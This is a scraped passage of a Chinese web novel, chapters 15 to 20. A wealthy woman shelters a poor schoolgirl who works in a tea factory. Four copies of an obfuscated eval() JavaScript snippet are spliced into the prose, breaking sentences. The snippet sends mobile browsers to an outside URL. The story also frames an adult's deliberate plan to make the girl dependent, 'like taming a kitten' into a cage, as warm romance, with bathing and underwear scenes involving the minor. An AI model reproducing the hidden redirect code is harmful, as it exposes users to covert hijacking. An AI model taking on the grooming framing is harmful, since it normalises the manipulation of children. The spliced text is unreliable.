周灵蕴对车的概念只有大小,没有档次,三轮最小,货车最大,牛拉的“哞”一声满地屎,拖拉机“突突”冒黑烟。 姜悯的车跟她以前见过的都不一样,没有车臭,像个小房子,放置有颜色鲜艳的抱枕,很温馨。 真皮座椅滴落深色水渍,周灵蕴低头扯着袖子擦,姜悯忽然靠近,雅致暖香像一张无形的网将她笼罩,周灵蕴面颊一热,忍不住哼出声。 小女孩娇娇绵绵的调子。 姜悯伸手抓了安全带,两个人呼吸可闻的距离,诧异挑眉。 周灵蕴霎时脸爆红。 “咔哒”一声,安全带系好,姜悯说“你哼唧什么”? 周灵蕴疯狂摇头。 两分钟车程,周灵蕴盯住雨刮器出神,直到姜悯拉开车门,给她解安全带。 周灵蕴抱着雨衣,远远,隔着玻璃看见房子里的小女孩蹦蹦跳跳,冲她招手。 “念念!”周灵蕴也使劲摇胳膊。 周灵蕴跟随姜悯进门,念念欢呼一声,立即要扑上来抱,姜悯及时伸手隔开,“姐姐需要洗澡,她太冷了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743502|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “怎么淋雨了。”秦穗把女儿抱起。 谷香岚女士闻言火速跑来,“我明明给你拿伞了。” “我没淋雨。”姜悯解释。 每个小孩都有维护她的大人,这感觉十分微妙,念念伸手够,周灵蕴给了她一根手指。小小孩的手软软热热。 “过来。”姜悯走出几步,回头。 周灵蕴牵着嘴角僵僵笑,来不及跟这满屋子的人打招呼,忙小跑跟上。 姜悯推着周灵蕴进卫生间,“赶紧洗,别弄感冒,还有别锁门,待会儿我给你送衣服。” 门合拢,四下安静,周灵蕴抓抓脸蛋,到处看看,站到花洒底下,试探着掰开水龙头。 周灵蕴第一次站着洗澡,往常在家都是坐盆里,奶奶拿水瓢往她脑袋上浇。 她感觉新奇,也快乐起来,研究架子上一堆瓶瓶罐罐,把自己浑身涂满泡沫,想变得跟姜老板一样香。 她闭着眼睛,扬起脸,暖水打在眼皮,眼泪混着满肚子委屈随水流一并淌进地漏。 再睁开眼,看到姜悯站在对面。 周灵蕴吓了一跳!慌慌张张背过身去。 姜悯探身关水,“我敲门你没听见。” 她等了二十分钟,估摸周灵蕴快洗好才打开门进来。 周灵蕴被跟床单一样大的浴巾裹起来。 姜悯把她包成个粽子,圈进怀里搓,第一次学着照顾人,下手没轻没重,周灵蕴几次被扯痛头发,忍着没出声,喜欢她手落在身上的亲近感觉,再一次咧开嘴角。 “不冷了吧。”姜悯从乱蓬蓬的毛巾堆里翻出周灵蕴的脑袋,又扒开她满头乱发,露出红红的脸蛋。 周灵蕴好像喝醉了,熏熏然有些站不稳,眼睛湿湿亮亮,热烈而专注。 莫名,姜悯被她看得有点燥,退后两步。 “我给你找了衣服,你看看合不合身,当然要不合身也没办法,先将就着。” 周灵蕴乖乖“嗯”了声。 姜悯的手离开身体,她失去依靠,竟直直向前栽倒。 “欸?”姜悯展怀接住。 像小蜜蜂一头扎进花朵,周灵蕴埋首她身前,抬起脸,沾得满脸桃粉的花蜜。 16.第 16 章 小女孩瘦不伶仃没几两肉,靠在怀里轻飘飘软绵绵,湿湿热热的一小团。 姜悯下意识推拒,猝不及防,对上她一双失魂的眼,半道卸了力气,手指僵硬蜷缩几秒,最终放缓落在她光洁的额头。 浴室潮热水汽弥漫,掌心触感灼人。“发烧了?”姜悯皱眉,心头掠过一丝懊悔,当时或许该早点出面。 周灵蕴没骨头似靠在姜悯怀里,左右小幅度摇头,湿漉漉的发顶蹭过姜悯下巴,她声音闷闷的,带点鼻音,“不会,我经常淋雨……” 是心跳太快,比学校举办跑步比赛时跳得还要快,“咚咚咚”的。 跑第一有奖品,周灵蕴每次都玩命跑,可学校能人太多,她连前三都挤不进去。 但今天不一样,她还没使劲呢,“奖励”就从天而降。 姜悯扶着周灵蕴站直些,手背试了试她脸颊和脖颈,眉头锁得更紧,“明明就很热,还说没烧?” 转身拿起叠放在洗手台上的衣物,姜悯手撑开毛衣领口,直接往人脑袋上套。进行到一半想起来件重要事情,“你内衣也湿了吧?我的内衣你恐怕穿不了。” “没事。”周灵蕴将毛衣扯过头顶,话音被柔软的针织面料模糊,“我咪咪还小。”不穿也看不出来。 姜悯动作一滞。 周灵蕴慢条斯理把头发从领口扯出来,“万玉比我大,她说她营养比我好,所以比我大。” 语气平常,像在讨论野菜。 姜悯两指点按在额心,闭了闭眼。 “但她说跑步的时候很痛。”周灵蕴继而感慨,“所以还是小一点好,我反正不痛,很偶尔感觉咪咪在长大的时候才会痛。” 姜悯视线在她心口位置停留一瞬,回头继续拿衣服,“内裤是新的,赶紧穿好出去喝药。” 那面料手感格外细腻柔软,周灵蕴忍不住凑到鼻尖闻一下,“也是香的。” 姜悯简直要爆炸!这小孩什么毛病? 可她满脸坦荡,又嘀嘀咕咕,说奶奶在集上给她买的内裤才下水两三次就变得特别大,贴不住卫生巾,害她总弄脏外裤。小女生跟小女生说悄悄话的样子。 见多了,胆子大了,话也密了。 姜悯一时不知该怎么接。 周灵蕴扶墙套上卫裤,裤腰松紧正好,裤腿长出一截,她弯腰挽上两圈。 姜悯衣饰偏爱浅色、暗调,柔软宽松,随性慵懒却不散漫。周灵蕴揪起衣领闻,现在她浑身上下都是姜悯的味道了。 身后窸窸窣窣,感觉整理得差不多,姜悯转身,看到她袖子正贴着脸颊蹭,“好软哦——” 袖口也挽了两道,宽宽大大,衬得手腕极为细瘦,领口歪斜,露出一小截嶙峋锁骨。 姜悯拉开卫生间门,“出来。” 客厅盈满饭菜香,周灵蕴跟随姜悯落座,她书包里的蛋炒饭阿姨回锅热了下,竟成了餐桌上的抢手货。谷香岚表情夸张,说有股童年的铁锅气,你一勺我一勺,很快分食干净。 “我也会炒!明天我多炒些带来!”周灵蕴眼睛亮晶晶,为这份被接纳的喜悦。 念念跪坐在她左侧的软椅,抿着嘴,不停往她碗里堆小山。 周灵蕴饭碗冒尖,频频道谢,“你喜欢吃什么呀?够不着的我帮你夹。” 两个小孩笨拙地互相讨好。 谷香岚趁机继续打听周灵蕴家庭状况,每每收获答案,意味深长看一眼姜悯。 “还用你说?”——姜悯腹诽,丢去白眼。 “那你妈妈之后都没回来看过你?你爸爸也没有兄弟姐妹什么的?”谷香岚给周灵蕴碗里放只剥好的虾。 “我家只有我和奶奶了。”周灵蕴夹起那只虾仁,兴致勃勃分享,说以前吃过。 “六一儿童节我们学校会加餐,我虽然跑步拿不了第一,但吃饭经常是第一个冲出教室去排队的,因为去晚就没有了。” 虾仁咬下一半,周灵蕴放回碗里,悄悄用米饭盖住,“但没这么大。” “那你以后都不上学了?”谷香岚又问。 周灵蕴对频繁回答这个问题感到疲惫,她戳戳碗里的米饭,沉了口气,胸腔塌陷。 “不喜欢读书啊?”谷香岚穷追不舍。 大人问话,总要答的。周灵蕴刚要开口,红烧排骨堵住她嘴。 “吃。” 姜悯精挑细选,大小正合适,带脆骨,汤汁里裹一圈,浓香四溢,软糯兼备嚼口。 周灵蕴含着排骨,呆呆看她。 姜悯端起茶杯,清茶漱去口中咸腻,“我没有成为富豪榜第一是因为我不想吗?还不是怪你们没本事。上班嘛,早晚都要上的,无所谓了提前适应。” 谷香岚跟丈夫交换一个复杂的眼神;秦穗给念念擦嘴,唇边笑意深长;周灵蕴默默咀嚼,似 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顿了顿补充,“当然,无论何种结果,都得自己承担。”她拿上伞出门,“走吧,我开车送你过去。” 周灵蕴穿好鞋,小跑跟上,“姜老板,你为什么对我那么好。” 檐下,姜悯脚步微顿,雨伞撑开,她面庞变得灰暗模糊,“不是说了,我们是朋友。” 朋友?周灵蕴心头茫然。 她何德何能,能跟开“有限公司”的大老板成为朋友。 “走了。”姜悯手臂揽过周灵蕴肩膀,“下班自己过来,我们吃火锅,热腾腾的火锅,给你暖身子。” 伞面朝她倾斜,隔绝雨帘,姜悯感受着臂弯那份微不足道的重量,思绪异常清晰。 这个家的大门永远向她敞开,这里有喷香的饭菜,干爽的衣物,和蔼可亲的“家人”,她们会给予她最为细致妥帖的照顾,她会让她品尝到被珍视的温暖和爱意,让这份依赖在她心底悄然生根发芽。 但同时,胜利茶厂繁重的劳作,老板一家的刻意刁难,孤立无援的冰冷绝望,会让她看清生活粗粝狰狞的本色,让她透彻体会到人心的卑劣与刻毒。 直到山穷水尽。 像驯养一只骄傲的、警惕的小猫,用温暖瓦解防备,用现实磨平棱角。 最后,心甘情愿,步入樊笼。 17.第 17 章 姜悯开车把周灵蕴送回胜利茶厂,雨差不多停了,天空发亮,云后日影稀薄,空气中满是厚重草木香。 小作坊没有明确的午休概念,厂里师傅吃完饭歇个十来分钟就得接着干活。春雨贵如油,好茶比黄金还稀,更甚者拍卖价高达百万一公斤。 头采、头春、明前、雨前,分别指立春、惊蛰、清明、谷雨,一整个春天,采茶不停,制茶也不停,最是忙碌。 时间快两点,周灵蕴来迟了。 姜悯车停门口,板房里的男人听见动静走出来看,耸肩笑一声,“还以为你不来了。” 周灵蕴回头冲姜悯挥手,“拜拜。” 姜悯手搭方向盘,车里点头,没急着离开。 要赚钱养家,照顾奶奶,周灵蕴来时路上想得很清楚。她能屈能伸,屋前,朝着男人九十度鞠躬。 “老板下午好,上午的事情,对不起。” 姜悯指骨微微发白,舌尖抵住下牙,颊线紧绷如刀。 男人瞄一眼门口那辆黑车,仍在笑。 他说,“你不用跟我道歉”,回头朝屋里吆喝一声,女人牵着孩子走出来。 “讨厌鬼!”小孩抱着他妈大腿,朝周灵蕴翻白眼,做鬼脸,还“噗噗”喷口水。 幸好离得远,不会弄脏衣服。周灵蕴还是本能后退。 她再度鞠躬,“老板娘对不起,小弟弟对不起。” 冷不丁,想到姜悯那句“你很喜欢给人鞠躬吗”?周灵蕴心里咯噔一下,迅速扭头。 车窗升起,黑玻璃阻挡视线,她没来得及看到姜悯的脸。 引擎低吼,车辆驶离,车轮与地面发出尖锐摩擦声。 周灵蕴用力眨了眨眼,压下心头慌乱,转身朝厂房走去,投入下午的劳作。 熟悉了场地,她工作效率大有提升,跑前跑后不再无头苍蝇似到处乱撞。只是身上的衣服过于宽大,袖子老往下掉,为方便干活她把裤腿塞进雨鞋,裤腰还是松,时不时得停下来拽一把。 老板儿子像只小幽灵,总蹲在角落看她,眼神充满恶意。 周灵蕴神经紧绷,生怕他再找麻烦,幸好上午帮她出头的大姐一直把她带在身边,那孩子也被大人勒令不准进入厂房。 “热不热?”大姐笑着问。 作青室高温高湿,空气似乎有形状,是一块块方砖压在胸口。师傅们穿背心和短裤,周灵蕴满头满脸的汗,脸蛋红扑扑,逞强摇头。 “明天来,里头穿件单衣。你这太厚,要热坏的。”大姐好心提醒。 周灵蕴胡乱点头,笨拙摇青,不时抬臂擦一把额头。 大姐看她实在辛苦,趁老板不注意,悄悄把她带到角落休息,递给她一碗凉茶,“我闺女跟你差不多大。” 周灵蕴渴极了,仰头猛灌,茶水顺着下巴流进脖子,她扯着衣领擦,“她读几年级啊?” “高二,今年要升高三了。”大姐说着,兜里摸出张皱巴巴的纸巾,“县里读书,住校。” 周灵蕴接过,“嗷”一声,闷闷的。 大姐看她一阵,“你这么小出来打工,家里人不管?” 为什么每个人都要这样问啊,周灵蕴好不想回答。 她站起身,“我去上厕所。” “去吧。”大姐给她指了个方向。 周灵蕴想起中午饭桌上,姜悯怪她的爸爸妈妈没有让她成为超级大富豪。当时不懂,现在好像有点明白了。 有妈的小孩可以继续读书,在县城读书,还能住校。 听蛋挞说,她以前也住过校,经常半夜翻墙跑出去玩,喝醉酒骑在墙头下不来,天还落着大雨,她疯疯癫癫,大叫大笑。 周灵蕴当时像在听神话故事,住校好好玩。 现在想,如果她有机会继续上学,一定会好好学习。 学到深夜,学到天亮。 冲水,洗手。凉风吹来,驱散胸口闷热。 “你偷懒!”老板儿子突然从门后跳出来,尖声指控。 周灵蕴吓了一跳!看清他,烦他一眼,甩甩手上的水,快步走向厂房。 小孩不依不饶,追着她大叫:“我要告诉我爸!” 周灵蕴开始跑,小孩在后面追,甚至捡了块石头扔她,“你朝我脸上泼水!” “咚——”一声巨响,石头砸在铁皮墙。 周灵蕴害怕缩头,加紧跑进厂房。厂里最严肃最厉害的老师傅恰巧站在门口,他大吼一声。 小孩做鬼脸,朝他撅屁股。老师傅低低骂句本地话——有爹生没娘养。 老师傅面相很凶,周灵蕴想跟他道谢,不太敢,站那不动。 “看我干啥子?没事情做啊!”老师傅炮口立刻转向她。 周灵蕴提着松垮的裤腰飞快跑回大姐身边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754378|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 茶厂没有准确的下班时间,茶农当天送来的鲜叶,必须严格按工序和时间要求加工完毕,拖延不得。 周灵蕴一直跟着大姐忙活,等到收工,她艰难直起酸痛的腰背,才发觉外面早已漆黑一片。 “现在几点了?”周灵蕴习惯性抬腕看表,手腕却空空,她“啊”地惊叫出声,猛一把捏住腕子,傻掉。 “八点多。”大姐回答。 周灵蕴拔腿往外跑。 山风裹挟着未散的雨气扑面而来,山下马路边零星几间厂房还亮着灯,幽冷如鬼火。 远方山峦隐没在无边墨色,像一只匍匐的巨兽,兽口深不见底,择人而噬。 周灵蕴孤零零站在明与暗的交界处,心里一阵绝望。 天怎么就黑了。 “你家住哪里?”大姐跟来,“是不是住得远,要不你跟我去宿舍吧。” 周灵蕴摇头。 她一时不知该怎么办好。手表弄丢了,天黑没办法回家,奶奶肯定等着急,答应去姜老板家吃火锅,也没能准时赴约。 好多事情,她全搞砸了,心里忙忙乱,不知该先解决哪一件。 手指揪紧衣摆,周灵蕴从未像此刻这般痛恨自己的无用。 她为什么不能再长大一些,长快一些,长高高能挑起家庭的重任。她为什么总在失约,总在弄丢东西,总被人欺负。 人生好难啊,为什么那么难。她好难啊。 喉头涌起酸涩,周灵蕴深吸气,使劲眨了眨眼,把泪憋回去。 快快理清思绪,当务之急是先回家,不能让奶奶担心。 周灵蕴转头,想找大姐借一把手电筒,模糊泪眼中,一道白影晃过。 熟悉的清冷色彩,她是山巅薄雪,神圣而疏离,又像包裹身体的宽大浴巾,细腻的温暖触感通过皮肤渗透血液。 “周灵蕴。”平稳声线,带有奇异的安定力量。 周灵蕴感觉自己像一只树懒,也许是最近淋雨太多,脑袋生锈,常常傻住不动。 姜悯走到她面前,停下。 “天黑了,我回不了家,奶奶……等我,火锅……”眼泪大颗大颗,周灵蕴哽咽着,语无伦次。 姜悯伸手,在她头顶不轻不重捶一下,“你奶奶在我家。” 泪阀关闭,周灵蕴傻傻半张嘴。 姜悯探身牵起她手,“走吧。” 18.第 18 章 床面散得一堆小孩衣服,还残留机器的余温,姜悯挑出件白色背心,两手拎着肩带,面前展开。 是周灵蕴的内衣,穿洗过太多次数,有点起球,布料也失去弹性,半透明,松松垮垮。姜悯低头就着亮看,肩带位置剪开重新缝制过,针脚细密规范。 奶奶给她缝的吗?穷归穷,日子不马虎。 转念想到什么,姜悯翻出小短裤,果然像周灵蕴说的那样,肥肥大大兜不住屁股。 “嘁——”姜悯发出怪笑。 笑音未落,房门毫无预兆被推开。姜悯脸色骤变,动作飞快扯来棉被遮盖。 “你干嘛?”谷香岚手握门把,狐疑探头。 她敏锐捕捉到女儿那一瞬间的慌乱,立即上前去刨,“藏什么好东西。” “跟你说了八百遍,进门先敲门!”姜悯翻身整个跪趴在床,用身体阻挡。 谷香岚拽出小背心,眼前分辨清楚,脑中顿时“噼啪”一阵雷鸣电闪。 她头发都快竖起来,“你偷藏人家小姑娘内衣!你想干嘛,啊?我问你,你心理扭曲,你是变态啊?” “神经——”姜悯迅速起身,“砰”一声甩上房门,落了锁。 “心虚了吧!不然关门干什么。”谷香岚攥着小背心坐在床边,天都塌了。 是姜悯至今难以走出双双的死亡阴影,还是自己教育出了问题?年轻时候忙着赚钱,疏忽了女儿心理健康? 谷香岚拉着女儿的手,眉头紧锁,浓浓的愧疚与担忧,“黏黏啊,你实话告诉妈妈,你到底是不是恋童癖?” 姜悯一把甩开,“再胡言乱语,小心我大义灭亲。” “那你……”谷香岚掀开被子,表示罪证在此。 “她的内衣很旧了,我拿过来看看尺寸,打算给她买新的!” 姜悯扶额,“我服了,我真服了。” “当真?”谷香岚将信将疑。 “我恋童癖。”姜悯点头说“是的”,“你自己好好反省一下吧。” 谷香岚没话讲了,小衣服翻出来,一件件码叠得整齐,“小姑娘日子苦得嘞,裤子膝盖上还有补丁,不过手艺蛮好的,绣成花样,不仔细看以为是本来就有。” “她奶奶给她缝的吧。”姜悯猜想,倒在床划拉手机。 谷香岚默一阵,起身嘀咕说“你床头那个台灯是不是坏了”,顺势绕到姜悯身后,偷瞄她手机,看到她确实是在给周灵蕴挑选内衣,心放回肚子。 “满意了?”姜悯仰头,逮个正着。 “哎呀你——”谷香岚笑呵呵推她一把。 姜悯快速选好内衣付款,下午补了个觉,阿姨掐着她平时醒来的点敲门,她恰好睁开眼。 “有个老太太,门口等半天了,我让她进来坐,她不肯,要不你去劝劝,香姐她们带念念出去玩了,还没回来。” 姜悯闭眼回忆,大致描述了下特征,阿姨连连点头,“没错,瘦干巴的。” 是周灵蕴奶奶。时间早过了平常周灵蕴放学回家的点,奶奶左等右等,不见孙女,只能瘸着腿下山来找。 她知道周灵蕴不上学了,自己在山下找了个地方打工,却不知究竟是哪家。 只知道周灵蕴最近跟大茶厂的大老板走得近,什么擦脸香膏啦,巧克力糖果呀,都是大老板赏赐,才无奈找上门。 “天黑,眼睛看不见路的嘛,不晓得娃娃去哪里了,没得爹妈的娃娃嘛,可怜的,我不管她没得人管她,可怜的,书都读不成了……” 老太太屋门前站了好一会儿,拄着拐,阿姨给她端来板凳,她不肯坐,就站着,说起自己的小孙女,控制不住,眼泪把把掉。 “周灵蕴还没下班。”姜悯想搀老太太进屋歇着,她力气蛮大,扶着门框撅着屁股往后躲。 周灵蕴平时发犟那架势跟她是一模一样。 姜悯回房取来周灵蕴的外套,“您看,她中午还来过我家呢,淋了雨,我给她重新找了衣服穿,还留她吃饭。” 老太太抱着周灵蕴的外套,手摸摸,神奇止住眼泪,“她还没下班呐?” “估摸快了,进屋来等吧,她书包也在我家放着,她下班会自己过来的。” 姜悯好说歹说,把老太太请进屋。 乡道入夜,车流稀少,只是山里水汽大,路总也不见干,灯下颜色深黑。 云散,夜空深邃,点点稀星挂缀,空气清冷湿润。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770685|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >四下静极了,唯有她们轻微的脚步声,以及规律的呼吸声。 “奶奶自己找去的!她没有摔倒吧?” “没有。” “那她有没有哭鼻子啊,她有点爱哭。” “是掉了几滴眼泪。” “她坐下了吗?她腿不好,有风湿。” “坐下了。” 周灵蕴听说奶奶下山了,一路问个不停,姜悯句句回应,耐性十足。 没开车,这个微风凉润的夜,姜悯牵着周灵蕴的手,慢慢在路上走。 “手表没丢,你忘在洗手台上了,天黑也不要紧,家里还有多余的客房,你可以跟奶奶在我家过夜。她不知道你下班这么晚,还以为是你平常上下学的时间,你自己考虑,要不要跟老板商量,让他放你早点回家。” 周灵蕴呆呆点头,走出一段路,仰脸望向身畔姜悯。 灯影柔暖,勾勒出她精致侧脸,她长长的睫毛在眼睑下方投下一小片阴影,神情温柔。 好像天底下没有任何事情可以难倒她,即便是地球爆炸,她也能很快找到办法解决,驾驶飞船,带上所有人逃向外太空。 周灵蕴抿抿嘴唇,视线下移,落在彼此紧紧交握的手掌。 起初是有点冷,山里的夜那么黑,那么晚还没回家,她心里乱七八糟一堆事情,吓到了。 可姜老板一下就把她牵住了! 身体渐渐暖和起来,掌心热度源源不断传递,穿过皮肤渗透血液,熨帖到四肢百骸。周灵蕴舒服得打了个颤。 “是不是冷?”姜悯注意到周灵蕴的异常,停下脚步,伸手摸了摸她的脸。 “我应该让你再穿件打底,热了可以脱,也免得钻风。” “我不冷。”周灵蕴小声。 她的心,是夜风吹皱的一池春水,泛起圈圈细涟。那些苦啊,累啊,冷啊……伤心啦,委屈啦,着急啦,都一下一下,荡去了岸边。 掌中依赖感逐渐加深,像一根羽毛轻轻搔刮心底,姜悯脱下外套披在周灵蕴肩膀,“快到家了。” 她能清晰感受到少女此刻的安心和全然的信任,那眼底直白的依恋,似藤蔓无声缠绕,比她预想中来得更快、更紧。 19.第 19 章 远离了茶厂的污浊喧嚣,春夜归途,偶闻遥远犬吠,夜莺鸣啼,晚风轻柔拂动发丝,周灵蕴感到一种前所未有的平和、安全。 步履不停,时间在无声的相依中流淌,道路的尽头,有充沛、洁净的衣食,可裹身充饥,有柔软的沙发可允许她短暂放松神经,不必计较头顶那些明亮的灯饰一小时将烧去她多少碗猪油蛋炒饭。 那是她心向往却从未真正拥有过的温暖。 她像一只小老鼠,躲在角落,两个小爪沾着空气里的味儿搓搓脸就觉得很幸福。 “你咋没开车呀。”周灵蕴被姜悯牵着,小声问。 “嗯?”姜悯微怔,偏头思索几秒,选择如实回答。 “想跟你走走。” 跟我走走?跟我吗…… 周灵蕴眨眨眼睛,咧出一排小牙。 “哦!”姜悯忽地驻步,“你今天第一天上班,很累了吧,是我的疏忽,抱歉。” “不不!”周灵蕴连连摇头摆手,“我一点也不累。”她说真的,真不累,这才哪儿到哪儿呀,秋天帮人家割稻子那才叫累呢。 “顶着大太阳,一直弯着腰,汗水流进眼睛里看也看不见,从早到晚割呀割,割呀割。” “稻子?”姜悯回忆,这地方好像是有人种水稻,“不是有机器吗?” “机器很贵的。”周灵蕴说。 “而且机器开不到山上,即便是那种小的收割机,也不是家家都用得起,我去干活嘛,干活可以换粮食……哦!马上菜籽成熟了,还可以换油呢,菜籽油!” 她说,她们家原本是有地的,但奶奶年纪大了一个人种不完,就赁给别人了,赖头村的地势也更适合种茶叶。 “剩房前屋后两大片,种点豆子茄子,还有辣椒青菜什么的,够我跟奶奶吃……但我今年不用去帮人收菜籽了,我有工作啦!” 周灵蕴右手高举,窜天一蹦跶。 姜悯牵着她继续往前走,“你很喜欢你的工作吗?你觉得开心吗?” 像泄了气的皮球,周灵蕴耷拉着肩,“有什么开心不开心的,干活嘛。” “是干活,是劳累,但你的情绪问题也不能忽略,你在胜利茶厂做得开心吗?”姜悯非要她说。 周灵蕴第一次听到“情绪问题”这种说法。 “可是,有没有问题,还不是要接着干,从早干到晚,每天干。” “跟你去割稻子,收菜籽相比?”姜悯问。 周灵蕴摇头。 朴实的庄稼人不会这么欺负她,还要把她喂得饱饱的。她有时会跟学校的小伙伴一起,她们在稻草堆里打滚,藏猫猫,可好玩了。 彻底熟络起来,周灵蕴喜欢跟姜悯说话,一路叽呱个没完。 奶奶在院门口等,远远,灯下瘦瘦小小一个佝偻的影子,周灵蕴松开姜悯跑过去。奶奶拉着她手,上上下下看,问摔跤没,身上有没有哪里痛。 阿姨跟姜悯解释,“非要出来等,说什么都要出来。” “好得很!”周灵蕴又是一蹦跶。 “太不好意思,添麻烦嘞。”奶奶肩上挎个旧衣裳裁制的大包,里头装了饭和水,牵着周灵蕴要走。 姜悯当然不肯放人,给阿姨使个眼色,把秦穗和谷香岚喊出来,绑匪架势,直接把人往屋里拽。 一帮女人,大晚上“乌啦啦”的。 “别给孩子增加负担了,您一把老骨头大半夜再摔着,孩子怎么办,你让她怎么办?” 谷香岚就这一句,老太太没了声响,老老实实进屋,屁股贴着沙发坐实。 答应的火锅不能少,阿姨给周灵蕴熬制了新的锅底,“没那么辣,免得你吃了胃不舒服。” 奶奶带的炒饭也热出来,周灵蕴坐在桌前开心扭来扭去,“都是我爱吃的。” “老太太,我们这边。”谷香岚起身抓着奶奶进房间,回头把门关上,“正好有个事情要跟您说。” 奶奶懵懵的,门合拢的瞬间,有种进贼窝的感觉。 周灵蕴嘴里叼个肉丸子,回头盯着门。姜悯在旁给她夹菜,“快吃,吃完洗澡睡觉,明天还得上班。” “咋把我奶奶关起来了。”周灵蕴问。 姜悯失笑,“劝她留下来呗,这大晚上的山里也没个路灯,不说摔跤,万一遇到野兽。” 周灵蕴眼睛唰就亮了,“我想起来,万玉跟我说过的,她奶奶的菜地上周被野猪拱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773707|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了!” “还有野猪呢!”阿姨表情夸张,“野猪厉害得很,比豹子还厉害,獠牙一掀,人那肠子肚子稀里哗啦流一地。” 周灵蕴听说过,“野猪是凶。” 姜悯撑腮,笑而不语。 客房门打开,谷香岚走出来,周灵蕴已经吃过饭,被姜悯按着进卫生间洗澡。 秦穗哄睡了念念,探头看,老太太坐在客房床边,肃着张脸,双手交握,揣怀里正想事情。 “说什么呢?”秦穗小声问姑妈。 “帮有些人干坏事呗。”谷香岚没好气。 周灵蕴洗完澡出来,身上姜悯那套棉睡衣还是大,她挽起裤腿和袖管,先去了姜悯房间。 她倒没啥不好意思的,姜老板说她们是朋友嘛,放假她没少去万玉家玩,有时玩疯了忘记时间,就在人家里过夜,躺床上说悄悄话。 “进。”房间里模糊一声。 周灵蕴门缝里探头,小小一张脸蛋,“姜老板,我洗好啦。” 姜悯坐在沙发上,捧一本书,假模假式翻几页,眼皮没抬一下,“嗯,去休息吧,你奶奶在等你。” “你看的什么书呀。”周灵蕴好奇。 姜悯根本没注意,去她爸书房薅的,翻转书封瞄一眼——《孙子兵法》 “你要去打仗吗?”周灵蕴天真发问。 姜悯庆幸,至少不是什么《成功人士的12条修炼法则》。 “商场如战场。”姜悯高深莫测道。 周灵蕴似懂非懂“哦”一声,“那我不打扰你啦。” 门关闭,少女鲜活的面庞消失。 姜悯“啪”地合拢书本,丢在地毯,她舒展长腿,仰躺沙发,窗外树影摇曳,微凉的夜风扫拂脸庞。 怔神间,恍惚听到“叩叩”敲门声,姜悯皱眉,微抬上身,仔细分辨。 “姜老板,你睡觉了吗?”小女孩隔着门细细声。 “进来!”姜悯拔高声量,坐起,书捡起放回小桌。 周灵蕴推开门走进来,缩着对肩,头发还没吹,湿哒哒挂在肩膀,脸蛋有些不正常的红。 她攥着衣摆,怪不好意思的,“奶奶让我来陪你睡觉。” 20.第 20 章 周灵蕴和奶奶并肩坐在房间的小床。 老人局促蜷缩着身子,感觉哪儿哪儿都不自在。这屋里的灯泡真够亮,把黑夜照成白天,家具崭新,四处不见一点灰,还弥漫着香。 她总闻见自己身上若隐若现的土腥气,怕弄脏房间,半天屁股没挪一下。 周灵蕴来过几次,适应得蛮好,挨着奶奶小声说话,说今天洗了两次澡,都是站着洗,头顶那个小莲蓬“哗哗”出水,好好玩。 她两手举着,十指弯曲模仿花洒,嘴里还给配音,“唰唰,唰唰——”说到兴奋处,手臂大力挥摆。 老人身形单薄,被她牵着晃,“哎呦,一把老骨头都被你摇散。” 奶奶推她一把,周灵蕴黏得更紧,搂着奶奶胳膊,脑袋耷拉下来,半边身子卸了力气,“我今天好累。” 一大一小相依偎着,灯下人影稀薄。 奶奶伸手摸摸她的头,“你的影子长得比奶奶还要大了。” 岁月这把文火,经年累月熬煮,这副躯壳血肉渐消,筋骨渐枯,只余一把嶙峋瘦骨,像老房子屋檐底下堆的几捆干柴。 唯有那双手,如深山盘虬的树藤,未经岁月磨蚀,在日复一日的劳作中淬炼出惊人的韧性与力量。 老人指节粗大,掌心沟壑纵横,蕴藏着强悍的抓握之力。 “咋啦?”周灵蕴手腕被牢牢圈住,不解。 那股不容挣脱的,母辈本能的守护之力让她感到微微的疼痛。 奶奶垂着眼皮不说话。 枯藤缠绕着新发的嫩枝,手心皮肉再使把劲儿能捏出水,细细条,白生生,风稍大些就吹断喽。 奶奶叹了口气。 她的一双手,曾无数次托举起眼前那具幼小的身躯,奋力欲将其推离出这片贫瘠的土壤,可她真的太老了,纵使拼尽力气,也穿不过头顶森森密林、莽莽群山。 